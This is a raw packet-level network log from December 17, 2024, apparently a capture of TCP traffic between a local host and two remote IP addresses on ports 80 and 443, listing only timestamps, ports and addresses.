Dec 17, 2024 10:09:06.841068983 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.841123104 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.841202021 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.841274977 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.841278076 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.841321945 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.842236042 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.842318058 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.842353106 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.842403889 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.843245983 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.843303919 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.843336105 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.843511105 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.844376087 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.844470024 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.844482899 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.844624043 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.845114946 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.845175028 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.845293045 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.845460892 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.846131086 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.846235991 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.846282005 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.846282005 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.847065926 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.847140074 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.847181082 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.847234964 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.848036051 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.848113060 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.848200083 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.848239899 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.849061012 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.849114895 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.849140882 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.849186897 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.849998951 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.850133896 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.850290060 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.850975990 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.851083040 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.851150036 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.851962090 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.852026939 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.852041006 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.852082968 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.852941990 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.853049040 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.853064060 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.853159904 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.853908062 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.853960037 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.854017973 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.854067087 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.854976892 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.855082035 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.855087042 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.855145931 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.855849028 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.855993032 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.856040955 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.856168032 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.908010006 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.908056974 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.908098936 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.908098936 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.908363104 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.908426046 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.908492088 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.908579111 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.909343958 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.909394979 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.909454107 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.909492016 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.910342932 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.910434008 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.911330938 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.911330938 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.911340952 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.911418915 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.911422014 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.911475897 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.912267923 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.912362099 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.912379026 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.913052082 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.913425922 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.913439989 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.913553953 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.914237976 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.914343119 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.914391994 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.914391994 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.915198088 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.915220976 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.915255070 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.915275097 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.916259050 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.916327953 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.916412115 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.916412115 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.917179108 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.917253971 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.917294025 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.917444944 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.918154001 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.918200970 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.918282986 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.918375969 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.919174910 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.919248104 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.919281006 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.919281006 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.920089960 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.920188904 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.920236111 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.920293093 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.921076059 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.921178102 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.921195984 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.921355009 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.922272921 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.922404051 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.922508001 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.922722101 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.923300028 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.923342943 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.923363924 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.923413992 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.924145937 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.924195051 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.924223900 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.924433947 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.925180912 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.925195932 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.925232887 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.925257921 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.925973892 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.926067114 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.926125050 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.926125050 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.926920891 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.927042007 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.927128077 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.927128077 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.927887917 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.927948952 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.927993059 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.928060055 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.928879976 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.928997993 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.928998947 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.929145098 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.929855108 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.929941893 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.930120945 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.930850983 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.930934906 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.930963993 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.931085110 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.931802034 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.931924105 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.932136059 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.932189941 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:06.932796955 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:06.932895899 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:08.561148882 CET	49836	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:08.561211109 CET	443	49836	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:08.561358929 CET	49836	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:08.562967062 CET	49836	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:08.562994957 CET	443	49836	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:08.564274073 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:08.564320087 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:08.564416885 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:08.564744949 CET	49841	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:08.564778090 CET	443	49841	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:08.564862013 CET	49841	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:08.564866066 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:08.564901114 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:08.565082073 CET	49841	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:08.565097094 CET	443	49841	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:08.604882002 CET	49842	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:08.604955912 CET	443	49842	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:08.605082989 CET	49842	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:08.605338097 CET	49842	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:08.605360031 CET	443	49842	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:10.259787083 CET	443	49836	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:10.260102987 CET	49836	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:10.260128021 CET	443	49836	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:10.261009932 CET	443	49836	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:10.261105061 CET	49836	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:10.262605906 CET	49836	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:10.262679100 CET	443	49836	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:10.263087988 CET	49836	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:10.263096094 CET	443	49836	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:10.263613939 CET	443	49841	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:10.263896942 CET	49841	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:10.263915062 CET	443	49841	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:10.267554998 CET	443	49841	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:10.267630100 CET	49841	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:10.268151999 CET	49841	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:10.268233061 CET	443	49841	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:10.268279076 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:10.268435001 CET	49841	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:10.268444061 CET	443	49841	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:10.268836975 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:10.268858910 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:10.270736933 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:10.270817041 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:10.271092892 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:10.271178961 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:10.271198988 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:10.294792891 CET	443	49842	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:10.295012951 CET	49842	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:10.295026064 CET	443	49842	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:10.296011925 CET	443	49842	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:10.296082020 CET	49842	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:10.296571970 CET	49842	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:10.296633005 CET	443	49842	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:10.296725988 CET	49842	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:10.296734095 CET	443	49842	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:10.311337948 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:10.312333107 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:10.312355042 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:10.312370062 CET	49841	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:10.312388897 CET	49836	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:10.343570948 CET	49842	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:10.359266996 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:10.539963961 CET	49841	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:10.540101051 CET	443	49841	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:10.540294886 CET	443	49841	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:10.540327072 CET	49841	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:10.540359974 CET	49841	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:10.618746042 CET	80	49812	185.215.113.206	192.168.2.6
Dec 17, 2024 10:09:10.618936062 CET	49812	80	192.168.2.6	185.215.113.206
Dec 17, 2024 10:09:11.101762056 CET	443	49836	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.101814032 CET	443	49836	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.101843119 CET	443	49836	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.101957083 CET	443	49836	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.102025986 CET	49836	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.102025986 CET	49836	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.110620975 CET	49836	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.110647917 CET	443	49836	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.127705097 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.127774954 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.127824068 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.127868891 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.127876997 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.127906084 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.127918959 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.144865990 CET	443	49842	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.145227909 CET	443	49842	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.145294905 CET	49842	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.149597883 CET	49842	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.149617910 CET	443	49842	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.150110960 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.150270939 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.150280952 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.156956911 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.157156944 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.157170057 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.170511961 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.170682907 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.170700073 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.218101978 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.247590065 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.296381950 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.314944029 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.320223093 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.320461035 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.320476055 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.332659960 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.332753897 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.332775116 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.342159986 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.342240095 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.342258930 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.352463961 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.352555990 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.352574110 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.366153955 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.366245985 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.366256952 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.379880905 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.379944086 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.379961014 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.393385887 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.393460035 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.393474102 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.406976938 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.407099962 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.407110929 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.416740894 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.416889906 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.416903973 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.434735060 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.434828997 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.434859037 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.443953037 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.444008112 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.444020033 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.483922958 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.506823063 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.510229111 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.510350943 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.510368109 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.519428968 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.519521952 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.519532919 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.526952028 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.527045012 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.527229071 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.527239084 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.529133081 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.534415960 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.545417070 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.545470953 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.545483112 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.557117939 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.557224035 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.557231903 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.568092108 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.568145990 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.568171978 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.568182945 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.568248987 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.578707933 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.588687897 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.588723898 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.588757038 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.588767052 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.588815928 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.601131916 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.609083891 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.609121084 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.609169006 CET	49840	443	192.168.2.6	142.250.181.132
Dec 17, 2024 10:09:11.609178066 CET	443	49840	142.250.181.132	192.168.2.6
Dec 17, 2024 10:09:11.609241962 CET	49840	443	192.168.2.6	142.250.181.132
